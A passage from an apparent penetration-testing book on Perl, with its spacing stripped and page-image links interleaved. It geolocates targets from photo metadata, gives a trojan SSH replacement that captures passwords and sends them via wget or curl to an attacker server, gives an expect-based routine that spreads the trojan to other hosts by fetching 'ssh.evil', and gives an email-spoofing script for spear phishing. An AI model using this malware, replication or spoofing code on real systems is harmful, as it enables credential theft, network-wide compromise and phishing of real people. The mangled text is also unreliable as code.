print“\n”,”-“x4,”Geographicdata“,”-“x4,”\n”;
my$gps=shift;#actualconversiontodecimal
my$gpsc;#convertGPSstring
my@xml;#storegeographicdata
if($gps=~m/([0-9]+).*([0-9]+)’([0-9]+.?[0-9]+?).*,([0-9]+).*([0-9]+)’
([0-9]+.?[0-9]+?)”/){
$gpsc.=int($1)+(int($2)/60)+($3/3600).”,-“;
$gpsc.=int($4)+(int($5)/60)+($6/3600);
}
print“ConvertedGPS:“,$gpsc,”\n”;#grabfromGoogleAPI(free):
my$res=$ua->get(“http://maps.googleapis.com/maps/api/geocode/xml?
latlng=”.$gpsc.”&sensor=true”);
foreachmy$xml(split(/\015?\012/,$res->content())){
lastif($xml=~m/<\/result>/);#justthefirstsection
$xml=~s/<\/?[^>]+>//g;#removetheXMLtags
$xml=~s/^\s+//;#usegrepforuniqueness:
push(@xml,$xml)if(!grep(/$xml/,@xml));
}
foreach(@xml){
print$_,”\n”if($_ne””);
}
return;#leavesubroutine;
}
IntheprecedingconvertGPS()subroutine,wefirstneedtoparseouttheGPScoordinatesfromtheonlyargument,as$gps.Sincethemetadatausesthedegrees,minutes,secondsformattostoretheGPScoordinates,wewillneedtoconvertthedegreesformatintoadecimalformatforGoogle’sAPI.Wecreate$gpsctoholdourconvertedGPSstring.Thisisdonebyusingregularexpressions.ThestoredGPScoordinates’standardinmetadatalookssimilartothefollowinglineofcode:40deg26′19.00″N,79deg59′27.00″W
Weneedtoconvertitfromthedegrees,minutes,secondsformatintosimpledecimaldegrees,suchasthefollowing:40.438611,-79.990833
Weusethefollowingregularexpressionstofirstparseoutthevaluesofthedegrees,minutes,andsecondsas$1,$2,$3,$4,$5,$6usingback-referencing:([0-9]+).*([0-9]+)’([0-9]+.?[0-9]+?).*,([0-9]+).*([0-9]+)’([0-9]+.?[0-
9]+?)”
![Page 266: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/266.jpg)
Takealookatthefollowingformula:degrees+minutes/60+seconds/3600
Wewillusethisoneachset,andprependaminussigntothenegativecoordinates.ThenextlineprintstheconvertedGPScoordinates’valuesof$gpscandinterpolatesthestringintotheGoogleURLtotheirAPI.WethencalltheAPIusingourfamiliar$uaLWP::UserAgentobject.Foreachsplit()returnedline,weparseouttheXMLusingaregularexpression,andifitdoesnotalreadyexistinthe@xmllist,weplacethestringintoit.
Finally,foreachstringin@xml,weprintthelineandreturnfromthesubroutine.Let’stakealookatsomeexampleoutputfromournewprogramwhenwepassanimagefiletoit.
![Page 267: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/267.jpg)
ExtractingmetadatafromimagesImagescanproducealotofinformationfromthecameratype.Thisdatacanincludethemobiledeviceusedtotaketheimage,whichpotentiallycanbeintrinsictoacarrier.ItcanalsoincludeGPScoordinates,whichwhenrunagainstenoughimages,canproduceanapproximationmaptolocalareasofinterest,residence,andofficesofourtarget,editingsoftwareandoperatingsystemtypes,whichcanleadustotesttheremoteexploitsanddomuchmore.Let’sgoaheadandrunthisagainstthemainimagelocatedonthefollowingpageofourtarget:
Runningourcodeagainsttheimagefoundonthetargetclientpage,asshowninthepreviousscreenshot,producesthefollowing(trimmed)output:
root@wnld960:~#perlmdextract.plimages/blizzy_and_son.jpg
–-ExifTool–-
ExifToolVersionNumber:9.60
![Page 268: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/268.jpg)
–-File–-
FileName:blizzy_and_son.jpg
ExifByteOrder:Big-endian(Motorola,MM)
–-EXIF–-
Make:BlackBerry
CameraModelName:BlackBerryZ30
Software:AdobePhotoshopCS5Windows
–-EXIF–-
GPSLatitudeRef:North
GPSLatitude:40deg26′19.00″
GPSLongitudeRef:West
GPSLongitude:79deg59′27.00″
–-File–-
CurrentIPTCDigest:4e57ac465029c834ad7bfeb1aad4e8df
–-Photoshop–-
IPTCDigest:4e57ac465029c834ad7bfeb1aad4e8df
–-XMP–-
XMPToolkit:AdobeXMPCore5.0-c06061.134777,2010/02/12-17:32:00
CreateDate:2014:08:0511:44:21-04:00
HistorySoftwareAgent:AdobePhotoshopCS5Windows
–-ICC_Profile–-
ProfileCMMType:Lino
–-Geographicdata–-
ConvertedGPS:40.4386111111111,-79.9908333333333
street_address
1000FifthAvenue,CompanyName,Pittsburgh,PA15219,USA
AlleghenyCounty
administrative_area_level_2
Pennsylvania
administrative_area_level_1
UnitedStates
country
postal_code
40.4386542
-79.9907791
ROOFTOP
40.4373052
-79.9921281
40.4400032
-79.9894301
root@wnld960:~#
Aswecanseefromthepreceding(trimmed)output,wewereabletogleanaverygoodamountofinformationonourtarget,includingdetailedlocationinformation,operatingsystemandsoftware,andthemobiledeviceusedtocapturetheimage,allofwhichcanbeusefulwhentestingknownexploitswithinthetarget’snetwork,andalsotostrengthenoursocialengineeringattempts.Let’srunthisonyetanotherimagefoundontheclienttarget’spublicwebserver,asshowninthefollowingscreenshot:
![Page 269: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/269.jpg)
Whenwerunourcodeusingtheimageonthefrontpage,asshownintheprecedingscreenshot,wearepresentedwithdatadifferentfromthatshowninthepreviousscreenshot,asshownintheprogram’s(trimmed)outputnext:
root@80211:~#perlexif.plimage.jpg
–-ExifTool–-
ExifToolVersionNumber:9.70
–-File–-
FileName:image.jpg
–-EXIF–-
Make:BlackBerry
CameraModelName:BlackBerryZ30
Orientation:Horizontal(normal)
XResolution:72
YResolution:72
ResolutionUnit:inches
Software:BlackBerry10.2.1.3289
YCbCrPositioning:Centered
–-EXIF–-
Date/TimeOriginal:2014:10:0423:30:08
CreateDate:2014:10:0423:30:08
–-EXIF–-
FlashpixVersion:0100
![Page 270: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/270.jpg)
GPSLatitudeRef:North
GPSLatitude:40deg35′35.00″
GPSLongitudeRef:West
GPSLongitude:-79deg56′55.08″
Aperture:2.2
GPSLatitude:40deg35′35.00″N
GPSLongitude:-79deg56′55.08″W
GPSPosition:40deg35′35.00″N,79deg56′55.08″W
–-Geographicdata–-
ConvertedGPS:40.593249,-79.948634
OK
street_address
4707WilliamFlinnHwy,AllisonPark,PA15101,USA
HamptonTownship
locality
administrative_area_level_3
AlleghenyCounty
administrative_area_level_2
Pennsylvania
administrative_area_level_1
UnitedStates
country
34.
root@80211:~#
Here,weseeacompletelynewaddress,whichwecanaddtoourlist,andanOStypeusedonthecamera,whichisaBlackberryZ30cellularphone.WhenweplugtheconvertedGPScoordinatesintotheGoogleMapswebapplication,wecanseeapproximatelywheretheimagewastaken,asshowninthefollowingscreenshot:
Aswehavelearnedduringthecourseofthisbook,anydatagleaned,nomatterhowsmall,canbeusedagainsttheclienttargetduringthepenetrationtest.Forinstance,spoofinge-mails,whichwewilllearnaboutinChapter11,SocialEngineeringwithPerl,fromthe
![Page 271: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/271.jpg)
neighborhoodorthelocalgovernment(localrelativetotheaddressshownintheprecedingprogramoutputandtheGoogleMapsscreenshot)totheclienttargetmaybeenoughtoenticethevictimintoclickingonamaliciouslinkthatwecancraftusingtheMetasploitframeworkforremoteexploitation.
Inthenextsubsection,wewillrunournewprogramwhilepassingaPDFfiletoittoextractsomemorepersonalinformationaboutourtarget.
![Page 272: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/272.jpg)
ExtractingmetadatafromPDFfilesLet’srunournewapplicationwiththePDFfilethatislistedasalinkbelowthebannerimageonthesiteandchecktheresults.ThisPDFisjustaninstallationguide,butcanproducesomeofthesame,ifnotmore,metadatafromourtarget:
root@wnld960:~#perlmdextract.plpdf/pmf_signed.pdf
–-ExifTool–-
ExifToolVersionNumber:9.60
–-File–-
FileName:pmf_signed.pdf
–-PDF–-
Arduino-BlizzardBox:http://weaknetlabs.com/secret/29837498237489070-
834792453-239847.schematic.pdf
Author:DouglasBerdeaux
CreateDate:2014:08:1910:58:08-04:00
Creator:Microsoft®Word2013
Keywords:Debian,Etch;,Phone,Phreaking;,ProjectMF;,Phreak;,BlueBox;,
2600;,Hacking
Schematic:http://weaknetlabs.com/secret/29837498237489070-834792453-
239847.schematic.pdf
Subject:DouglasBerdeaux([email protected]
Title:ProjectMFInstallationGuide-DebianEtch
–-XMP–-
Creator:DouglasBerdeaux
Title:ProjectMFInstallationGuide-DebianEtch
Description:DouglasBerdeaux([email protected]
Subject:DebianEtch,PhonePhreaking,ProjectMF,Phreak,BlueBox,2600,
Hacking
Rights:GNU(c)Redistributableunderauthorsoriginalwork.
MetadataDate:2014:08:1911:23:59-04:00
Producer:Microsoft®Word2013
Keywords:DebianEtch;PhonePhreaking;ProjectMF;Phreak;BlueBox;2600;
Hacking
DocumentID:uuid:34d513ef-bb2e-4eac-9d52-9e9a103fe582
InstanceID:uuid:825251b7-cbcb-4f79-8846-6e33f0d2ef0a
WebStatement:http://weaknetlabs.com
AuthorsPosition:Founder-WeakNetLaboratories
CaptionWriter:[email protected]
Schematic:http://weaknetlabs.com/secret/29837498237489070-834792453-
239847.schematic.pdf
Arduino0020-0020Blizzard0020Box:
http://weaknetlabs.com/secret/29837498237489070-834792453-
239847.schematic.pdf
–-PDF–-
PageCount:8
root@wnld960:~#
Here,wehavealotmoreinformationthanwegetfromourimage,butbothtogether
![Page 273: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/273.jpg)
provideuswithenoughammunitiontolaunchsocialengineering,remoteexploits,orevenbothtogether.The(trimmed)PDFmetadatathatweextractedearlierprovideduswithtwonewe-mailaddresses,surnames,andevenlinks.
OurapplicationcanbeusedonmorethanjustimagesandPDFdocuments.Infact,wecanevenuseitonMicrosoftOfficeWorddocuments,plaintextfiles,musicfiles,presentationdocumentsandslideshows,videofiles,andmuchmore.
![Page 274: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/274.jpg)
SummaryTheintelligence-gatheringprocesscanusuallymakeorbreakasuccessfulpenetrationtest.Withthisinmind,it’seasytoseehowimportantitistonotoverlooksimplemetadataforensicswhiletesting.Forensicmetadataextractioncanhelpusreachbeyondpublic-facingimagesorotherfiles.Forinstance,ifwehavefoundasuccessfulSQLinjectionoraLFIvulnerability,andsuccessfullyleveragethatexploittoreadthegeneralsystemmessagelog,forexample,/var/log/messages,wecanuseasimpleregularexpressiontocompileastatisticalgeolocationmapofIPaddressesthatuploadfilestothewebserver.Aspreviouslystated,thisdatacanthenbeusedinasocialengineeringattack,andthisisexactlywhatwewillbelearningaboutinournextchapter.
![Page 275: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/275.jpg)
Chapter11.SocialEngineeringwithPerlSocialengineeringisanactofpretendingorpretextingtobesomeonetoinfluenceaclientvictimintotrustingyouenoughtoelicitcorporateorpersonalinformation,andeventolowersecurityclearance.Thistypeofattackreliesonthefactthatthehumanfactorinanysecurityprotocolcanoftenbetheweakestlinkandisquiteoftenaphysicalpenetration-testingvector.Inthischapter,weusePerltoenhancethistypeofattackbyautomatingtheprocessesthatwereoncedonebyhandandtookprecioustimeduringthepenetrationtest.Thisincludesthefollowingtopics:
CombiningourgatheredinformationwiththemanipulationofwebpagesfoundoncompromisedwebserversCloningwebpagesforphishingattacksinourman-in-themiddleattack,whichwecoveredinChapter4,IEEE802.3WiredNetworkManipulationwithPerlSpoofinge-mailstotheclienttarget’semployeesCreatingvirusestologdatathatcanbeinstalledbythetargetorcalledviamanipulatedwebpagesonacompromisedwebserver
Also,withthepowerofPerlandregularexpressions,wecanavoidourownhumanerrorswhileperformingsuchtasks,makingourattacksmorebelievable.
![Page 276: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/276.jpg)
PsychologyHumanpsychologyandthehumannatureofwill,sympathy,empathy,andthemostcommonlyexploitednatureofcuriosityareallweaknessesthatasuccessfulsocialengineercanusetoelicitprivateinformation.Someinstitutionsandmostlarge-scaleclienttargetsforpenetrationtestingareslowlybecomingawareofthistypeofattackandareemployingpracticestomitigatetheseattacks.However,justaswecansharpenourweaponstoclearthroughdefense,wecanalsosharpenoursocialengineeringskillsbyinvestingoureffortsintheinitialOSINT,profilingandgatheringinformation,whichwehavealreadydonethroughoutthecourseofthisbook.
![Page 277: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/277.jpg)
PerlLinux/UnixvirusesOnewaywecanobtainlogincredentialsisbymasqueradingmalicioussoftwareaslegitimateauthenticationsoftware.Forinstance,duringapost-exploitationexaminationonarootedtargetclientsystem,wecanreplacethebinaryfortheSSHapplicationwithasimplePerlscriptofourown,whichsendsthelogincredentialstoourmaliciousserverbeforeactuallymakinganSSHconnection.AfewPerlmodulesexistthatcanhandleSSHconnections,butwhenusedoncompromisedsystems,theyarenotasefficientassimplygatheringcredentialdataandcallingthenativeSSHapplicationdirectly.Theycantakelengthyinstalls,usemanydependencies,andevenproduceunwantedoutput,whichcangiveourpresenceawaytothetargetvictim.
Nowlet’stakealookathowwecangathercredentialinformationfromSSH,saveittoapublic-facingplace,andevenreplicateitonsystemsthatallowtheuserroottoSSHtothem.Asusual,wewillbreakthecodeintosections,andalotofitshouldalreadybefamiliaraswehavedonesomeofitinpreviouschaptersthroughoutthecourseofthisbook:#!/usr/bin/perl-w
usestrict;
subgetSSH(@);#argspasswdtossh
subencode(@);#returnencodedstrings
subgetPass();
my$user=””;#gatherusername
my$host=””;#gatherhostname
my$passwd=””;#getpassword
my@sshArgs=””;
my$prot=””;#howtomakethewebcall?
my$hostType=0;#0for-luserhostname.site,[email protected]
Theprecedingcodesnippetdefinesglobalvariablesandprototypessubroutinesthatourprogramwillusethroughtheworkflowofourapplication.foreach(“wget”,“fetch”,“curl”){
chomp(my$cmd=`which$_`);
if($cmdne”){
$prot=$cmd;#getfullpathhere
$prot.=”-O/dev/null”if($_eq“wget”);#morestealthieroptionscan
gohere
$prot.=”-o/dev/null”if($_eq“fetch”);#same(curldoesn’tsavea
file)
last;
}#allthreehavesimilarsyntax
}
Thisforeach()loopgathersinformationaboutourhost.Manysystemsarespecificallydesignedforclients,andthisincludesmass-producedsystemsandoperatingsystemsoftware.WeusethepreviouscodetofindasuitablehostprogramtomakeasimpleHTTPcallthatwillcutdownonthePerldependenciesforourcode.#workflow:
my$ssh=getSSH(@ARGV);
sleep(rand(3));
![Page 278: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/278.jpg)
if($hostne”&&$userne”){
getPass();#iffwehaveauserandhost
my$cmd=$prot.”http://lab.weaknetlabs.com:180/ssh.php?
ssh=”.encode($user.“_”.$passwd).”>/dev/null2>&1”;
system($cmd);
system($cmd);
print“Permissiondenied,pleasetryagain.\n”;
system(“ssh_backup$ssh”);#actasifthevictimmistypedthepasswd
}#makethewebcalltoourserver(hardcodehere)
Thepreviouscodeistheactualworkflowofourapplication.Thesleepfunctionisaddedtomakethefeelofusingitmoreauthentictothevictim.Wedon’tactuallyaskforapassworduntilwearecertainthatwehaveausernameandhostname.Then,weconcatenatebothwithanunderscoreandmakeasimplewebcalltoourwebserver.ThiswillthenputtheGETrequestparametersintoour/etc/lighttpd/access.logfile.subgetSSH(@){#encodeandstealthesessiondata
@sshArgs=@_;#gatherallarguments
my$ssh=””;
for(my$i=0;$i<=$#sshArgs;$i++){#determineusernameandhost
if($sshArgs[$i]=~m/-l/&&$sshArgs[$i+1]ne”){
$user=$sshArgs[$i+1];
}elsif($sshArgs[$i]=~m/([^@]+)@(.*)/){
$hostType=1;#wehavean@
$user=$1;
$host=$2;
}elsif($sshArgs[$i]=~m/[^.]+.[a-z]{2,4}$/){
$host=$sshArgs[$i];
}
$ssh.=$sshArgs[$i].”“;
}
return$ssh;
}
TheprecedinggetSSH()subroutineiswhatweusetoparsetheargumentsthevictimwouldnormallypasstotheSSHapplication.subgetPass(){#getthepassword
system(“stty-echo”);#minusecho
print$user,”@”,$host,“‘spassword:”if($hostType);
print“Passwordfor“,$user,”@”,$host,”:”if(!$hostType);
chomp($passwd=<STDIN>);
system(“sttyecho”);#turnitbackon
print“\n”;
}
OurgetPass()subroutinesimplyturnsoffechotoSTDOUTafteraskingforapasswordfromtheuser,similartoSSH.Oncewegatherthepassword,wereturnfromthesubroutineafterturningtheechobacktoSTDOUT.subencode(@){#encodetosend
my$string=””;#initstringtoreturn
foreachmy$wrd(@_){
$string.=$hashMap{$_}foreach(split(//,$wrd));
$string.=‘%20’;#breakup
}
return$string;
![Page 279: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/279.jpg)
}
Finally,theencodefunctionthatsimplyreturnsURL-encodedstringscanbeviewedinthepreviouscode.Thissubroutineusestheunpack()functionthatwasintroducedinChapter4,IEEE802.3WiredNetworkManipulationwithPerl.ThiswillusetheH*templatetoreturnthehexadecimalvalueofeachcharacterin$wrdandappendittothe$stringstring.Toaddanyothervariables,includingtheremotehostname,oreventheentiresetofargumentsthevictimpassestoSSH,wesimplyencodethemwiththeencode()subroutineandpassthemalongwiththeGETrequesttoourlighttpdserver.
Let’stakeaquicklookatsomeoutputsfromourprogram.Fromourvictimmachine,wehavethefollowingoutput:
trevelyn@80211:[email protected]
Permissiondenied,pleasetryagain.
Lastlogin:WedSep300:13:312014from80211.ninja
FreeBSD#0:TueJun310:50:35UTC2014
Onourwebserver,thelighttpdlogrevealstheusernameandpassword:
root@wnld960:~#cat/var/log/lighttpd/access.log
10.10.190.73lab.somesite.site:180-[03/Sep/2014:04:08:28-0400]“GET
/ssh.php?
ssh=%2D%6C%5F%74%72%65%76%65%6C%79%6E%5F%77%65%61%6B%6E%65%74%6C%61%62%73%2E%63%6F%6D%5F%54%72%65%76%57%65%61%6B%4E%65%74%31%32%33%34%21%50%61%73%73%20
HTTP/1.1”2000“-”“Wget/1.13.4(linux-gnu)”
Inthefollowingscreenshot,wedecodetheURL-encodedstringusingtheMozillaFirefoxHackBaradd-onfoundontheAdd-onspage(https://addons.mozilla.org/en-US/firefox/):
![Page 280: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/280.jpg)
Intheprecedingscreenshot,weseethedecodedoutputfromourlighttpdaccess.logfile,whichincludestheusernameandpasswordoftheremotesystem.Thisworksjustasweexpected.
![Page 281: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/281.jpg)
OptimizationfortrustOurSSHvirusisextremelysimpleandcanbeinstalledviaarootedsystemfromremoteexploits,oronmisconfiguredsystemswithotherexternal-facingvulnerabilities.Forinstance,onasystemthatwasrootedremotelyusingsomethingsuchasMetasploit’sremoteexploitationframework,wecansimplyuseaspawnedMeterpretershelltobringourevilSSHscriptfromourmaliciousservertotheexploitedserverusingtoolssuchaswgetorfetch.Ifthesetoolsarenotinstalled,wecantryusingSCP(securecopyusingSSH),FTP(FileTransferProtocol),oreventhetext-basedwebbrowserlynxtocopythecodefromourmaliciousserverviaHTTP.Itcanalsobeinstalledusingasimplee-mailspoofingspearphishingattackthatwewilllearnaboutintheSpoofinge-mailswithPerlsectionlater.
Thiscodecanbeoptimizedingreatgranularity.Forinstance,wecandoareversenslookupquerytoresolvehostnamesofIPaddressesthatmightbeusedforvirtualhostsandhostingmultiplesites.SSHwillsometimesdothisandshowtheserver’shostname,ratherthanthevirtualhostname,whenaskingforthespecifieduser’scredentials.Wecandothisbyusingasimplecode,asfollows:#!/usr/bin/perl-w
usestrict;
dieunlesschomp(my$ns=`whichnslookup`);
my@ip=`$ns$ARGV[0]`;
my$ip;
my$name;
foreach(@ip){
(($ip=$_)=~s/.*//)if(m/Addr[^#]+$/);
}
@ip=`$ns$ip`;
foreach(@ip){
(($name=$_)=~s/.*//)if(m/name=/i);
}
print$name;
Thiswillonlyperformalookupsequenceifnslookupisavailable.Wecanalsomakethecodealittlemoreflexiblebymakinganactualsocketconnectiontothehostthatthevictimistryingtoconnectto,justtomakesuretheportisopenandthehostis,infact,alive.Thiswillrequiregatheringtheportnumber,ifspecified,or22,ifnot,andmakingasimpletelnettest.WehavealreadyseenhowtodothisinChapter3,IEEE802.3WiredNetworkMappingwithPerl.
![Page 282: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/282.jpg)
VirusreplicationWhenarootuserisallowedSSHaccesstoasystem,wecanusethistoouradvantage.WecanusetheexpectutilitytoconnecttotheremotehostviaSSH,runasinglecommand,andquitwithoutanyhumaninteractionwhatsoever.Itseemsabittrickyandmightbeslightlymorecomplex,butitisawaytoreplicateourviruseachtimearootuserisloggedin.Let’slookatasubroutinethatwilldothisforus:subreplication{
chomp(my$expect=`whichexpect`);
print$expect,”\n”;
die“expectnotfoundonthissystem.”if($expecteq”);
my$cmd=“expect-c‘settimeout1337;spawnssh-p“.$port.”
"$user\@$host""”;
$cmd.=“whichssh";expect-re".*ssword:.*";send
"”.$pass.”\n";expect;exit0;’”;
my@ssh=`$cmd`;
my$sshPath=””;
foreachmy$line(@ssh){
chomp($line);
print$line,”\n”;
$sshPath=$lineif($line=~m/\/ssh/i);
}
die“cannotfindSSHonremoteserver.”if($sshPatheq”);
$cmd=“expect-c‘settimeout1337;spawnssh-p“.$port;
$cmd.=”"”.$user.”@”.$host.”""cp“.$sshPath.”/ssh
“.$sshPath.”/ssh_backup&&“;
$cmd.=“wget“.$evilHost.”/ssh.evil-O“.$sshPath.”/ssh"”;
$cmd.=“;expect-re"”.$user.”@”.$host.”.*spassword:";send"”;
$cmd.=$pass.”\n";expect;exit0’”;
system($cmd);
}
Theprecedingsubroutinerequirestheknowledgeofthehostnamethatthevictimistryingtologinto,theportofthehost,andtherootusernameandpassword.Withthisinformation,weconstructtwodifferentcommands.ThefirstwillenumeratewheretheSSHapplicationislocatedonthevictimremotehost.Thesecondwillreplaceitwithourevilversionlocatedathttp://$evilHost/ssh.evil.
Inourworkflow,wecannowsimplycheckiftheuserlogginginisroot,andifso,weenterthesystembeforetheydo,andreplicatetheSSHcommand.Then,oncetheyconnect,iftheyweretoSSHoutofthissystem,werepeatthesameprocess,thusreplicatingourvirusacrossnetworks.
Let’smoveontospearphishingandhowweleverageacross-sitescriptingvulnerabilitywiththeabilitytospoofe-mailsasadifferenttypeofsocialengineeringattack.
![Page 283: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/283.jpg)
SpearphishingSpearphishing,asthenamesuggests,isanarrowlyfocusedattackagainstourclienttarget.Thistypeofphishingisveryspecificandrequiresalotofhomeworkonourparttopulloffasbelievable.Takethisexample,forinstance;acompanywhogetsupdatesfromavendorforitsin-housesoftwarecanbesentspoofede-mailsortechnicalsupportphonecallsurgingittoperforman“update”thatinactualityisavirusinstallation.Inthisattack,we,theattackers,neversee,ordigitally(orphysically)eventouchthe(nowcompromised)targetsystem.Thistypeofattackisextremelysuccessfulandhasbeenproveninthepasttobesobythecompromiseofmanylarge-scalecorporationsandeveninformationsecurityfirmsbymalicioushackers.
LeveragingthistypeofattackwithadiscoveredXSSvulnerabilitythatwecoveredinChapter8,OtherWeb-basedAttacks,canofferanevenmorepowerfulattackvectortoutilizeagainstourclienttarget.Unfortunately,manycompanies,includingsomeofthelarge-scalecompanieswhoofferonlinewebservicestotheirclientsandhosttheirclientdatain-house,won’tbother,ormoreoften,taketheirtimetorepairthefoundXSSvulnerabilitiesastheydon’tseehowitcanactuallyfitintothe“bigpicture”ofthisattack.
![Page 284: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/284.jpg)
Spoofinge-mailswithPerlTospoofe-mailswithPerl,wewillusetheExim4Mailservice,whichisverycommonamongdefaultinstallationsofLinux.Itcanbecalledeasilyfromthecommandline,asshown:
mail-s<subject><recipient>
However,inourcaseweneedtodoalittlebitofconfigurationfirst.
SettingupExim4Let’sstartbyreconfiguringtheexim4-configpackageusingdpkg,asfollows:
dpkg-reconfigureexim4-config
Followthepromptstosendoutbounde-mails,asfollows:
“internetsite;mailissentandreceiveddirectlyusingSMTP.”Chooseamailservername(canbeanythingpopulatedinto/etc/mail-)Wewon’tbedoingincomingconnections,so127.0.0.1,::1worksforthelistenerIPv4andIPv6addressesLeavethevalueforrecipientdomainsasdefaultaswewon’tusethisfeatureeitherWewon’tbeusingrecipiente-mailaddresses,soleavethisentryblank.Wewon’tberelayinge-mails,soleavethisentryblank.Select“No”forDialonDemandUseMaildirformatinhomedirectorySelect“No”fornotsplittingupconfigurationfilesWewillnotneedtoredirecttoactualsystemadministratorforanyusers,soleavethisentryblank.
root@80211:~#dpkg-reconfigureexim4-config
[ok]StoppingMTAforrestart:exim4_listener.
[ok]RestartingMTA:exim4.
root@80211:~#
Nowweshouldbeabletosende-mailsdirectlyfromourExim4server.
NoteSomeISPsblockoutgoinge-mailsonanyport,whichmeansthattheMailQueuewillneverbeemptyandthee-mailwillneverbedelivered.Ifwesuspectthistobethecaseforundeliveredmails,wecancheckourISPdocumentation,TermsofService,orcontactthemforsupport.
UsingtheMail::SendmailPerlmoduleWewillusetheplatform-independentmailerMail::SendmailPerlmoduleforthisexercise.ThismoduleiseasilyinstallableusingtheCPANinstallationprocedurecoveredinChapter1,PerlProgramming.Usingthesendmailfromthecommandlineiseasy,as
![Page 285: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/285.jpg)
wesawatthebeginningofthissubsection.Sowritingthisintoaplatform-independentmailerPerlprogramwillbeabreeze.Let’sjumprightintothecodeandcoverwhat’snew:#!/usr/bin/perl-w
#SpoofemailwithPerl
useMail::Sendmail;
usestrict;
print“From:“;
my$from=<STDIN>;
print“To:“;
my$to=<STDIN>;
print“Subject:“;
my$subject=<STDIN>;
print“Message:“;
my$msg;
while(<STDIN>){
if(/^.$/){
print“EOT\n”;
last;
}
$msg.=$_;
}
my%email=(
To=>$to,
From=>$from,
Message=>$msg
);
sendmail(%email)ordie$Mail::Sendmail::error;
END{
print$Mail::Sendmail::log,”\n”;
}
